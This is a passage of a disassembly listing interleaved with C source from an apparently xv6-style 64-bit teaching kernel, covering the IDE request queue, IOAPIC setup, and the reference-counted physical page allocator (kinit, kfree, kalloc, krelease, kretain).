ffff800000103db7: 48 bf 5d c6 10 00 00 movabs $0xffff80000010c65d,%rdi
ffff800000103dbe: 80 ff ff
ffff800000103dc1: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103dc8: 80 ff ff
ffff800000103dcb: ff d0 callq *%rax
acquire(&idelock); //DOC:acquire-lock
ffff800000103dcd: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103dd4: 80 ff ff
ffff800000103dd7: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000103dde: 80 ff ff
ffff800000103de1: ff d0 callq *%rax
// Append b to idequeue.
b->qnext = 0;
ffff800000103de3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103de7: 48 c7 80 a8 00 00 00 movq $0x0,0xa8(%rax)
ffff800000103dee: 00 00 00 00
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
ffff800000103df2: 48 b8 28 71 11 00 00 movabs $0xffff800000117128,%rax
ffff800000103df9: 80 ff ff
ffff800000103dfc: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000103e00: eb 11 jmp ffff800000103e13 <iderw+0xdc>
ffff800000103e02: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103e06: 48 8b 00 mov (%rax),%rax
ffff800000103e09: 48 05 a8 00 00 00 add $0xa8,%rax
ffff800000103e0f: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000103e13: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103e17: 48 8b 00 mov (%rax),%rax
ffff800000103e1a: 48 85 c0 test %rax,%rax
ffff800000103e1d: 75 e3 jne ffff800000103e02 <iderw+0xcb>
;
*pp = b;
ffff800000103e1f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103e23: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000103e27: 48 89 10 mov %rdx,(%rax)
// Start disk if necessary.
if(idequeue == b)
ffff800000103e2a: 48 b8 28 71 11 00 00 movabs $0xffff800000117128,%rax
ffff800000103e31: 80 ff ff
ffff800000103e34: 48 8b 00 mov (%rax),%rax
ffff800000103e37: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff800000103e3b: 75 32 jne ffff800000103e6f <iderw+0x138>
idestart(b);
ffff800000103e3d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103e41: 48 89 c7 mov %rax,%rdi
ffff800000103e44: 48 b8 31 3a 10 00 00 movabs $0xffff800000103a31,%rax
ffff800000103e4b: 80 ff ff
ffff800000103e4e: ff d0 callq *%rax
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
ffff800000103e50: eb 1d jmp ffff800000103e6f <iderw+0x138>
sleep(b, &idelock);
ffff800000103e52: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103e56: 48 be c0 70 11 00 00 movabs $0xffff8000001170c0,%rsi
ffff800000103e5d: 80 ff ff
ffff800000103e60: 48 89 c7 mov %rax,%rdi
ffff800000103e63: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff800000103e6a: 80 ff ff
ffff800000103e6d: ff d0 callq *%rax
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
ffff800000103e6f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103e73: 8b 00 mov (%rax),%eax
ffff800000103e75: 83 e0 06 and $0x6,%eax
ffff800000103e78: 83 f8 02 cmp $0x2,%eax
ffff800000103e7b: 75 d5 jne ffff800000103e52 <iderw+0x11b>
}
release(&idelock);
ffff800000103e7d: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103e84: 80 ff ff
ffff800000103e87: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000103e8e: 80 ff ff
ffff800000103e91: ff d0 callq *%rax
}
ffff800000103e93: 90 nop
ffff800000103e94: c9 leaveq
ffff800000103e95: c3 retq
ffff800000103e96 <ioapicread>:
uint data;
};
static uint
ioapicread(int reg)
{
ffff800000103e96: f3 0f 1e fa endbr64
ffff800000103e9a: 55 push %rbp
ffff800000103e9b: 48 89 e5 mov %rsp,%rbp
ffff800000103e9e: 48 83 ec 08 sub $0x8,%rsp
ffff800000103ea2: 89 7d fc mov %edi,-0x4(%rbp)
ioapic->reg = reg;
ffff800000103ea5: 48 b8 38 71 11 00 00 movabs $0xffff800000117138,%rax
ffff800000103eac: 80 ff ff
ffff800000103eaf: 48 8b 00 mov (%rax),%rax
ffff800000103eb2: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000103eb5: 89 10 mov %edx,(%rax)
return ioapic->data;
ffff800000103eb7: 48 b8 38 71 11 00 00 movabs $0xffff800000117138,%rax
ffff800000103ebe: 80 ff ff
ffff800000103ec1: 48 8b 00 mov (%rax),%rax
ffff800000103ec4: 8b 40 10 mov 0x10(%rax),%eax
}
ffff800000103ec7: c9 leaveq
ffff800000103ec8: c3 retq
ffff800000103ec9 <ioapicwrite>:
static void
ioapicwrite(int reg, uint data)
{
ffff800000103ec9: f3 0f 1e fa endbr64
ffff800000103ecd: 55 push %rbp
ffff800000103ece: 48 89 e5 mov %rsp,%rbp
ffff800000103ed1: 48 83 ec 08 sub $0x8,%rsp
ffff800000103ed5: 89 7d fc mov %edi,-0x4(%rbp)
ffff800000103ed8: 89 75 f8 mov %esi,-0x8(%rbp)
ioapic->reg = reg;
ffff800000103edb: 48 b8 38 71 11 00 00 movabs $0xffff800000117138,%rax
ffff800000103ee2: 80 ff ff
ffff800000103ee5: 48 8b 00 mov (%rax),%rax
ffff800000103ee8: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000103eeb: 89 10 mov %edx,(%rax)
ioapic->data = data;
ffff800000103eed: 48 b8 38 71 11 00 00 movabs $0xffff800000117138,%rax
ffff800000103ef4: 80 ff ff
ffff800000103ef7: 48 8b 00 mov (%rax),%rax
ffff800000103efa: 8b 55 f8 mov -0x8(%rbp),%edx
ffff800000103efd: 89 50 10 mov %edx,0x10(%rax)
}
ffff800000103f00: 90 nop
ffff800000103f01: c9 leaveq
ffff800000103f02: c3 retq
ffff800000103f03 <ioapicinit>:
void
ioapicinit(void)
{
ffff800000103f03: f3 0f 1e fa endbr64
ffff800000103f07: 55 push %rbp
ffff800000103f08: 48 89 e5 mov %rsp,%rbp
ffff800000103f0b: 48 83 ec 10 sub $0x10,%rsp
int i, id, maxintr;
ioapic = P2V((volatile struct ioapic*)IOAPIC);
ffff800000103f0f: 48 b8 38 71 11 00 00 movabs $0xffff800000117138,%rax
ffff800000103f16: 80 ff ff
ffff800000103f19: 48 b9 00 00 c0 fe 00 movabs $0xffff8000fec00000,%rcx
ffff800000103f20: 80 ff ff
ffff800000103f23: 48 89 08 mov %rcx,(%rax)
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
ffff800000103f26: bf 01 00 00 00 mov $0x1,%edi
ffff800000103f2b: 48 b8 96 3e 10 00 00 movabs $0xffff800000103e96,%rax
ffff800000103f32: 80 ff ff
ffff800000103f35: ff d0 callq *%rax
ffff800000103f37: c1 e8 10 shr $0x10,%eax
ffff800000103f3a: 25 ff 00 00 00 and $0xff,%eax
ffff800000103f3f: 89 45 f8 mov %eax,-0x8(%rbp)
id = ioapicread(REG_ID) >> 24;
ffff800000103f42: bf 00 00 00 00 mov $0x0,%edi
ffff800000103f47: 48 b8 96 3e 10 00 00 movabs $0xffff800000103e96,%rax
ffff800000103f4e: 80 ff ff
ffff800000103f51: ff d0 callq *%rax
ffff800000103f53: c1 e8 18 shr $0x18,%eax
ffff800000103f56: 89 45 f4 mov %eax,-0xc(%rbp)
if(id != ioapicid)
ffff800000103f59: 48 b8 24 74 1f 00 00 movabs $0xffff8000001f7424,%rax
ffff800000103f60: 80 ff ff
ffff800000103f63: 0f b6 00 movzbl (%rax),%eax
ffff800000103f66: 0f b6 c0 movzbl %al,%eax
ffff800000103f69: 39 45 f4 cmp %eax,-0xc(%rbp)
ffff800000103f6c: 74 1b je ffff800000103f89 <ioapicinit+0x86>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
ffff800000103f6e: 48 bf 80 c6 10 00 00 movabs $0xffff80000010c680,%rdi
ffff800000103f75: 80 ff ff
ffff800000103f78: b8 00 00 00 00 mov $0x0,%eax
ffff800000103f7d: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000103f84: 80 ff ff
ffff800000103f87: ff d2 callq *%rdx
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ffff800000103f89: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000103f90: eb 47 jmp ffff800000103fd9 <ioapicinit+0xd6>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ffff800000103f92: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103f95: 83 c0 20 add $0x20,%eax
ffff800000103f98: 0d 00 00 01 00 or $0x10000,%eax
ffff800000103f9d: 89 c2 mov %eax,%edx
ffff800000103f9f: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103fa2: 83 c0 08 add $0x8,%eax
ffff800000103fa5: 01 c0 add %eax,%eax
ffff800000103fa7: 89 d6 mov %edx,%esi
ffff800000103fa9: 89 c7 mov %eax,%edi
ffff800000103fab: 48 b8 c9 3e 10 00 00 movabs $0xffff800000103ec9,%rax
ffff800000103fb2: 80 ff ff
ffff800000103fb5: ff d0 callq *%rax
ioapicwrite(REG_TABLE+2*i+1, 0);
ffff800000103fb7: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103fba: 83 c0 08 add $0x8,%eax
ffff800000103fbd: 01 c0 add %eax,%eax
ffff800000103fbf: 83 c0 01 add $0x1,%eax
ffff800000103fc2: be 00 00 00 00 mov $0x0,%esi
ffff800000103fc7: 89 c7 mov %eax,%edi
ffff800000103fc9: 48 b8 c9 3e 10 00 00 movabs $0xffff800000103ec9,%rax
ffff800000103fd0: 80 ff ff
ffff800000103fd3: ff d0 callq *%rax
for(i = 0; i <= maxintr; i++){
ffff800000103fd5: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000103fd9: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103fdc: 3b 45 f8 cmp -0x8(%rbp),%eax
ffff800000103fdf: 7e b1 jle ffff800000103f92 <ioapicinit+0x8f>
}
}
ffff800000103fe1: 90 nop
ffff800000103fe2: 90 nop
ffff800000103fe3: c9 leaveq
ffff800000103fe4: c3 retq
ffff800000103fe5 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
ffff800000103fe5: f3 0f 1e fa endbr64
ffff800000103fe9: 55 push %rbp
ffff800000103fea: 48 89 e5 mov %rsp,%rbp
ffff800000103fed: 48 83 ec 08 sub $0x8,%rsp
ffff800000103ff1: 89 7d fc mov %edi,-0x4(%rbp)
ffff800000103ff4: 89 75 f8 mov %esi,-0x8(%rbp)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ffff800000103ff7: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103ffa: 83 c0 20 add $0x20,%eax
ffff800000103ffd: 89 c2 mov %eax,%edx
ffff800000103fff: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104002: 83 c0 08 add $0x8,%eax
ffff800000104005: 01 c0 add %eax,%eax
ffff800000104007: 89 d6 mov %edx,%esi
ffff800000104009: 89 c7 mov %eax,%edi
ffff80000010400b: 48 b8 c9 3e 10 00 00 movabs $0xffff800000103ec9,%rax
ffff800000104012: 80 ff ff
ffff800000104015: ff d0 callq *%rax
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
ffff800000104017: 8b 45 f8 mov -0x8(%rbp),%eax
ffff80000010401a: c1 e0 18 shl $0x18,%eax
ffff80000010401d: 89 c2 mov %eax,%edx
ffff80000010401f: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104022: 83 c0 08 add $0x8,%eax
ffff800000104025: 01 c0 add %eax,%eax
ffff800000104027: 83 c0 01 add $0x1,%eax
ffff80000010402a: 89 d6 mov %edx,%esi
ffff80000010402c: 89 c7 mov %eax,%edi
ffff80000010402e: 48 b8 c9 3e 10 00 00 movabs $0xffff800000103ec9,%rax
ffff800000104035: 80 ff ff
ffff800000104038: ff d0 callq *%rax
}
ffff80000010403a: 90 nop
ffff80000010403b: c9 leaveq
ffff80000010403c: c3 retq
ffff80000010403d <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
ffff80000010403d: f3 0f 1e fa endbr64
ffff800000104041: 55 push %rbp
ffff800000104042: 48 89 e5 mov %rsp,%rbp
ffff800000104045: 48 83 ec 10 sub $0x10,%rsp
ffff800000104049: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff80000010404d: 48 89 75 f0 mov %rsi,-0x10(%rbp)
initlock(&kmem.lock, "kmem");
ffff800000104051: 48 be b2 c6 10 00 00 movabs $0xffff80000010c6b2,%rsi
ffff800000104058: 80 ff ff
ffff80000010405b: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff800000104062: 80 ff ff
ffff800000104065: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff80000010406c: 80 ff ff
ffff80000010406f: ff d0 callq *%rax
memset(frameinfo, 0, sizeof(frameinfo));
ffff800000104071: ba 00 00 0e 00 mov $0xe0000,%edx
ffff800000104076: be 00 00 00 00 mov $0x0,%esi
ffff80000010407b: 48 bf 40 71 11 00 00 movabs $0xffff800000117140,%rdi
ffff800000104082: 80 ff ff
ffff800000104085: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010408c: 80 ff ff
ffff80000010408f: ff d0 callq *%rax
kmem.use_lock = 0;
ffff800000104091: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff800000104098: 80 ff ff
ffff80000010409b: c7 40 68 00 00 00 00 movl $0x0,0x68(%rax)
kmem.freelist = 0;
ffff8000001040a2: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff8000001040a9: 80 ff ff
ffff8000001040ac: 48 c7 40 70 00 00 00 movq $0x0,0x70(%rax)
ffff8000001040b3: 00
freerange(vstart, vend);
ffff8000001040b4: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff8000001040b8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001040bc: 48 89 d6 mov %rdx,%rsi
ffff8000001040bf: 48 89 c7 mov %rax,%rdi
ffff8000001040c2: 48 b8 13 41 10 00 00 movabs $0xffff800000104113,%rax
ffff8000001040c9: 80 ff ff
ffff8000001040cc: ff d0 callq *%rax
}
ffff8000001040ce: 90 nop
ffff8000001040cf: c9 leaveq
ffff8000001040d0: c3 retq
ffff8000001040d1 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
ffff8000001040d1: f3 0f 1e fa endbr64
ffff8000001040d5: 55 push %rbp
ffff8000001040d6: 48 89 e5 mov %rsp,%rbp
ffff8000001040d9: 48 83 ec 10 sub $0x10,%rsp
ffff8000001040dd: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff8000001040e1: 48 89 75 f0 mov %rsi,-0x10(%rbp)
freerange(vstart, vend);
ffff8000001040e5: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff8000001040e9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001040ed: 48 89 d6 mov %rdx,%rsi
ffff8000001040f0: 48 89 c7 mov %rax,%rdi
ffff8000001040f3: 48 b8 13 41 10 00 00 movabs $0xffff800000104113,%rax
ffff8000001040fa: 80 ff ff
ffff8000001040fd: ff d0 callq *%rax
kmem.use_lock = 1;
ffff8000001040ff: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff800000104106: 80 ff ff
ffff800000104109: c7 40 68 01 00 00 00 movl $0x1,0x68(%rax)
}
ffff800000104110: 90 nop
ffff800000104111: c9 leaveq
ffff800000104112: c3 retq
ffff800000104113 <freerange>:
void
freerange(void *vstart, void *vend)
{
ffff800000104113: f3 0f 1e fa endbr64
ffff800000104117: 55 push %rbp
ffff800000104118: 48 89 e5 mov %rsp,%rbp
ffff80000010411b: 48 83 ec 20 sub $0x20,%rsp
ffff80000010411f: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000104123: 48 89 75 e0 mov %rsi,-0x20(%rbp)
char *p;
p = (char*)PGROUNDUP((addr_t)vstart);
ffff800000104127: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010412b: 48 05 ff 0f 00 00 add $0xfff,%rax
ffff800000104131: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff800000104137: 48 89 45 f8 mov %rax,-0x8(%rbp)
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
ffff80000010413b: eb 1b jmp ffff800000104158 <freerange+0x45>
kfree(p);
ffff80000010413d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000104141: 48 89 c7 mov %rax,%rdi
ffff800000104144: 48 b8 6c 41 10 00 00 movabs $0xffff80000010416c,%rax
ffff80000010414b: 80 ff ff
ffff80000010414e: ff d0 callq *%rax
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
ffff800000104150: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff800000104157: 00
ffff800000104158: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010415c: 48 05 00 10 00 00 add $0x1000,%rax
ffff800000104162: 48 39 45 e0 cmp %rax,-0x20(%rbp)
ffff800000104166: 73 d5 jae ffff80000010413d <freerange+0x2a>
}
ffff800000104168: 90 nop
ffff800000104169: 90 nop
ffff80000010416a: c9 leaveq
ffff80000010416b: c3 retq
ffff80000010416c <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
ffff80000010416c: f3 0f 1e fa endbr64
ffff800000104170: 55 push %rbp
ffff800000104171: 48 89 e5 mov %rsp,%rbp
ffff800000104174: 48 83 ec 20 sub $0x20,%rsp
ffff800000104178: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct run *r;
if((addr_t)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
ffff80000010417c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000104180: 25 ff 0f 00 00 and $0xfff,%eax
ffff800000104185: 48 85 c0 test %rax,%rax
ffff800000104188: 75 29 jne ffff8000001041b3 <kfree+0x47>
ffff80000010418a: 48 b8 00 b0 1f 00 00 movabs $0xffff8000001fb000,%rax
ffff800000104191: 80 ff ff
ffff800000104194: 48 39 45 e8 cmp %rax,-0x18(%rbp)
ffff800000104198: 72 19 jb ffff8000001041b3 <kfree+0x47>
ffff80000010419a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010419e: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff8000001041a5: 80 00 00
ffff8000001041a8: 48 01 d0 add %rdx,%rax
ffff8000001041ab: 48 3d ff ff ff 0d cmp $0xdffffff,%rax
ffff8000001041b1: 76 16 jbe ffff8000001041c9 <kfree+0x5d>
panic("kfree");
ffff8000001041b3: 48 bf b7 c6 10 00 00 movabs $0xffff80000010c6b7,%rdi
ffff8000001041ba: 80 ff ff
ffff8000001041bd: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001041c4: 80 ff ff
ffff8000001041c7: ff d0 callq *%rax
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
ffff8000001041c9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001041cd: ba 00 10 00 00 mov $0x1000,%edx
ffff8000001041d2: be 01 00 00 00 mov $0x1,%esi
ffff8000001041d7: 48 89 c7 mov %rax,%rdi
ffff8000001041da: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff8000001041e1: 80 ff ff
ffff8000001041e4: ff d0 callq *%rax
if(kmem.use_lock)
ffff8000001041e6: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff8000001041ed: 80 ff ff
ffff8000001041f0: 8b 40 68 mov 0x68(%rax),%eax
ffff8000001041f3: 85 c0 test %eax,%eax
ffff8000001041f5: 74 16 je ffff80000010420d <kfree+0xa1>
acquire(&kmem.lock);
ffff8000001041f7: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff8000001041fe: 80 ff ff
ffff800000104201: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000104208: 80 ff ff
ffff80000010420b: ff d0 callq *%rax
r = (struct run*)v;
ffff80000010420d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000104211: 48 89 45 f8 mov %rax,-0x8(%rbp)
r->next = kmem.freelist;
ffff800000104215: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff80000010421c: 80 ff ff
ffff80000010421f: 48 8b 50 70 mov 0x70(%rax),%rdx
ffff800000104223: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000104227: 48 89 10 mov %rdx,(%rax)
kmem.freelist = r;
ffff80000010422a: 48 ba 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdx
ffff800000104231: 80 ff ff
ffff800000104234: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000104238: 48 89 42 70 mov %rax,0x70(%rdx)
if(kmem.use_lock)
ffff80000010423c: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff800000104243: 80 ff ff
ffff800000104246: 8b 40 68 mov 0x68(%rax),%eax
ffff800000104249: 85 c0 test %eax,%eax
ffff80000010424b: 74 16 je ffff800000104263 <kfree+0xf7>
release(&kmem.lock);
ffff80000010424d: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff800000104254: 80 ff ff
ffff800000104257: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010425e: 80 ff ff
ffff800000104261: ff d0 callq *%rax
}
ffff800000104263: 90 nop
ffff800000104264: c9 leaveq
ffff800000104265: c3 retq
ffff800000104266 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
ffff800000104266: f3 0f 1e fa endbr64
ffff80000010426a: 55 push %rbp
ffff80000010426b: 48 89 e5 mov %rsp,%rbp
ffff80000010426e: 48 83 ec 10 sub $0x10,%rsp
struct run *r;
if(kmem.use_lock)
ffff800000104272: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff800000104279: 80 ff ff
ffff80000010427c: 8b 40 68 mov 0x68(%rax),%eax
ffff80000010427f: 85 c0 test %eax,%eax
ffff800000104281: 74 16 je ffff800000104299 <kalloc+0x33>
acquire(&kmem.lock);
ffff800000104283: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff80000010428a: 80 ff ff
ffff80000010428d: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000104294: 80 ff ff
ffff800000104297: ff d0 callq *%rax
r = kmem.freelist;
ffff800000104299: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff8000001042a0: 80 ff ff
ffff8000001042a3: 48 8b 40 70 mov 0x70(%rax),%rax
ffff8000001042a7: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(r)
ffff8000001042ab: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff8000001042b0: 74 15 je ffff8000001042c7 <kalloc+0x61>
kmem.freelist = r->next;
ffff8000001042b2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001042b6: 48 8b 00 mov (%rax),%rax
ffff8000001042b9: 48 ba 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdx
ffff8000001042c0: 80 ff ff
ffff8000001042c3: 48 89 42 70 mov %rax,0x70(%rdx)
if(kmem.use_lock)
ffff8000001042c7: 48 b8 40 71 1f 00 00 movabs $0xffff8000001f7140,%rax
ffff8000001042ce: 80 ff ff
ffff8000001042d1: 8b 40 68 mov 0x68(%rax),%eax
ffff8000001042d4: 85 c0 test %eax,%eax
ffff8000001042d6: 74 16 je ffff8000001042ee <kalloc+0x88>
release(&kmem.lock);
ffff8000001042d8: 48 bf 40 71 1f 00 00 movabs $0xffff8000001f7140,%rdi
ffff8000001042df: 80 ff ff
ffff8000001042e2: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001042e9: 80 ff ff
ffff8000001042ec: ff d0 callq *%rax
frameinfo[PGINDEX(V2P(r))].refs = 1;
ffff8000001042ee: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001042f2: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff8000001042f9: 80 00 00
ffff8000001042fc: 48 01 d0 add %rdx,%rax
ffff8000001042ff: 48 c1 e8 0c shr $0xc,%rax
ffff800000104303: 48 ba 40 71 11 00 00 movabs $0xffff800000117140,%rdx
ffff80000010430a: 80 ff ff
ffff80000010430d: 48 c1 e0 04 shl $0x4,%rax
ffff800000104311: 48 01 d0 add %rdx,%rax
ffff800000104314: c7 00 01 00 00 00 movl $0x1,(%rax)
return (char*)r;
ffff80000010431a: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff80000010431e: c9 leaveq
ffff80000010431f: c3 retq
ffff800000104320 <krelease>:
// release frame with kernel virtual address v
void
krelease(char *v)
{
ffff800000104320: f3 0f 1e fa endbr64
ffff800000104324: 55 push %rbp
ffff800000104325: 48 89 e5 mov %rsp,%rbp
ffff800000104328: 48 83 ec 20 sub $0x20,%rsp
ffff80000010432c: 48 89 7d e8 mov %rdi,-0x18(%rbp)
addr_t frame = V2P(v);
ffff800000104330: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000104334: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010433b: 80 00 00
ffff80000010433e: 48 01 d0 add %rdx,%rax
ffff800000104341: 48 89 45 f8 mov %rax,-0x8(%rbp)
frameinfo[PGINDEX(frame)].refs--;
ffff800000104345: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000104349: 48 c1 e8 0c shr $0xc,%rax
ffff80000010434d: 48 b9 40 71 11 00 00 movabs $0xffff800000117140,%rcx
ffff800000104354: 80 ff ff
ffff800000104357: 48 89 c2 mov %rax,%rdx
ffff80000010435a: 48 c1 e2 04 shl $0x4,%rdx
ffff80000010435e: 48 01 ca add %rcx,%rdx
ffff800000104361: 8b 12 mov (%rdx),%edx
ffff800000104363: 83 ea 01 sub $0x1,%edx
ffff800000104366: 48 b9 40 71 11 00 00 movabs $0xffff800000117140,%rcx
ffff80000010436d: 80 ff ff
ffff800000104370: 48 c1 e0 04 shl $0x4,%rax
ffff800000104374: 48 01 c8 add %rcx,%rax
ffff800000104377: 89 10 mov %edx,(%rax)
if (frameinfo[PGINDEX(frame)].refs == 0)
ffff800000104379: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010437d: 48 c1 e8 0c shr $0xc,%rax
ffff800000104381: 48 ba 40 71 11 00 00 movabs $0xffff800000117140,%rdx
ffff800000104388: 80 ff ff
ffff80000010438b: 48 c1 e0 04 shl $0x4,%rax
ffff80000010438f: 48 01 d0 add %rdx,%rax
ffff800000104392: 8b 00 mov (%rax),%eax
ffff800000104394: 85 c0 test %eax,%eax
ffff800000104396: 75 20 jne ffff8000001043b8 <krelease+0x98>
kfree(P2V(frame));
ffff800000104398: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff80000010439f: 80 ff ff
ffff8000001043a2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001043a6: 48 01 d0 add %rdx,%rax
ffff8000001043a9: 48 89 c7 mov %rax,%rdi
ffff8000001043ac: 48 b8 6c 41 10 00 00 movabs $0xffff80000010416c,%rax
ffff8000001043b3: 80 ff ff
ffff8000001043b6: ff d0 callq *%rax
}
ffff8000001043b8: 90 nop
ffff8000001043b9: c9 leaveq
ffff8000001043ba: c3 retq
ffff8000001043bb <kretain>:
void
kretain(char *v)
{
ffff8000001043bb: f3 0f 1e fa endbr64
ffff8000001043bf: 55 push %rbp
ffff8000001043c0: 48 89 e5 mov %rsp,%rbp
ffff8000001043c3: 48 83 ec 18 sub $0x18,%rsp
ffff8000001043c7: 48 89 7d e8 mov %rdi,-0x18(%rbp)
addr_t frame = V2P(v);
ffff8000001043cb: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001043cf: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff8000001043d6: 80 00 00
ffff8000001043d9: 48 01 d0 add %rdx,%rax
ffff8000001043dc: 48 89 45 f8 mov %rax,-0x8(%rbp)
frameinfo[PGINDEX(frame)].refs++;
ffff8000001043e0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001043e4: 48 c1 e8 0c shr $0xc,%rax
ffff8000001043e8: 48 b9 40 71 11 00 00 movabs $0xffff800000117140,%rcx
ffff8000001043ef: 80 ff ff
ffff8000001043f2: 48 89 c2 mov %rax,%rdx
ffff8000001043f5: 48 c1 e2 04 shl $0x4,%rdx
ffff8000001043f9: 48 01 ca add %rcx,%rdx
ffff8000001043fc: 8b 12 mov (%rdx),%edx
ffff8000001043fe: 83 c2 01 add $0x1,%edx
